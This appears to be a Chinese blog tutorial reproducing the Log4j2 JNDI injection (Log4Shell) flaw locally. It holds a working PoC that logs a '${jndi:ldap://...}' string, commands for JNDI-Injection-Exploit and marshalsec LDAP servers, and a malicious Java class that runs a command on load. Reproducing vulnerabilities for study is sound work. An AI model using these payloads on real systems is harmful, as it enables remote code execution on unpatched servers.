log4j2詳細漏洞復現與排坑


漏洞就不說了,大家都在加班吧哈哈。然后直接進入正題

環境准備

1.可以直接去vulhub下集成環境

2.自己建maven項目導入log4j2的包即可

我vulhub的環境還沒下,用的第二種

首先maven引入

    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.14.1</version>
    </dependency>

然后在resource下創建log4j2.xml

 

 

內容我沒細看網上抄的,日志路徑改下就行,有懂的師傅別噴

<?xml version="1.0" encoding="UTF-8"?>

<configuration status="error">

    <!--先定義所有的appender -->

    <appenders>

        <!--這個輸出控制台的配置 -->

        <Console name="Console" target="SYSTEM_OUT">

            <!-- 控制台只輸出level及以上級別的信息(onMatch),其他的直接拒絕(onMismatch) -->

            <ThresholdFilter level="trace" onMatch="ACCEPT" onMismatch="DENY"/>

            <!-- 這個都知道是輸出日志的格式 -->

            <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/>

        </Console>

        <!--文件會打印出所有信息,這個log每次運行程序會自動清空,由append屬性決定,這個也挺有用的,適合臨時測試用 -->

        <!--append為TRUE表示消息增加到指定文件中,false表示消息覆蓋指定的文件內容,默認值是true -->

        <File name="log" fileName="E:/m_project/src/main/log4gRCE/log4j2.log" append="false">

            <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/>

        </File>

        <!--添加過濾器ThresholdFilter,可以有選擇的輸出某個級別以上的類別 onMatch="ACCEPT" onMismatch="DENY"意思是匹配就接受,否則直接拒絕 -->

        <File name="ERROR" fileName="E:/m_project/src/main/log4gRCE/error.log">

            <ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/>

            <PatternLayout pattern="%d{yyyy.MM.dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/>

        </File>

        <!--這個會打印出所有的信息,每次大小超過size,則這size大小的日志會自動存入按年份-月份建立的文件夾下面並進行壓縮,作為存檔 -->

        <RollingFile name="RollingFile" fileName="E:/m_project/src/main/log4gRCE/web.log" filePattern="logs/$${date:yyyy-MM}/web-%d{MM-dd-yyyy}-%i.log.gz">

            <PatternLayout pattern="%d{yyyy-MM-dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/>

            <SizeBasedTriggeringPolicy size="2MB"/>

        </RollingFile>

    </appenders>

    <!--然后定義logger,只有定義了logger並引入的appender,appender才會生效 -->
    <loggers>
        <root level="trace">
            <appender-ref ref="RollingFile"/>
            <appender-ref ref="Console"/>
            <appender-ref ref="ERROR" />
            <appender-ref ref="log"/>
        </root>

    </loggers>

</configuration>

創建poc

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jRCE {
    private static Logger logger = LogManager.getLogger(Log4jRCE.class);

    public static void main(String[] args) {
     //jdk高版本必須
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        //logger.info("${jndi:ldap://127.0.0.1:1389/wkcpkh}");//JNDI-Injection方式
        logger.info("${jndi:ldap://127.0.0.1:1389/aa}");//這個aa是瞎填的,填別的也可以,但必須要有
    }
}

 

 

利用工具

這里我用了兩種工具分別去做:

1.marshalsec-0.0.3-SNAPSHOT-all.jar

2.JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

這里用第一種是有坑點的,很多復現不出來的小伙伴可能是這里的問題,所以單純為了復現我推薦第二種工具

 

JNDI-Injection

先看這種工具,運行 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"

 

 

 它會運行三個服務,8180web服務,1099 rmi服務 ,1389 ldap服務

它會幫你構建好惡意類地址和ldap服務,在poc中JNDI-Injection方式運行即可(注意替換url)

 

marshalsec

這種方式比較費事,而且有兩個大坑

首先先起一個http服務,模擬我們的vps,我用python3起的,其它方式也可

python -m http.server

 

 

 

 然后寫一個惡意類,這里第一個坑來了,如果你習慣用idea寫代碼run去編譯的話,很容易出錯

因為你的編輯器會自動給你加入package路徑,但是服務器觸發你的惡意類時,服務器上並沒有此路徑,你會得到Exception in thread "main" java.lang.NoClassDefFoundError的報錯

所以你應該使用javac編譯,惡意類代碼如下

public class TestExec {
    public TestExec(){

    }
    static {
        try {
            String var0 = "calc";
            Runtime.getRuntime().exec(var0);
        } catch (Exception var1) {
            var1.printStackTrace();
        }

        System.out.println();
    }
}

 

 這其實就是JNDI-Injection生成的,我們直接拿來用了。

現在啟動marshalsec提供一個ldap服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/m_project/#TestExec

井號后門是惡意類名,路徑為你啟動服務的路徑

到這里基本就可以了,但是一定要注意我上面poc中的注釋,你去訪問marshalsec的ldap服務時如果不加入隨機路徑,就會得到如下所示

 

 這很明顯是一個object,但並沒有執行靜態代碼,具體原因未知

而加入隨機路徑后得到的是

 

 

並且彈出了計算器

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM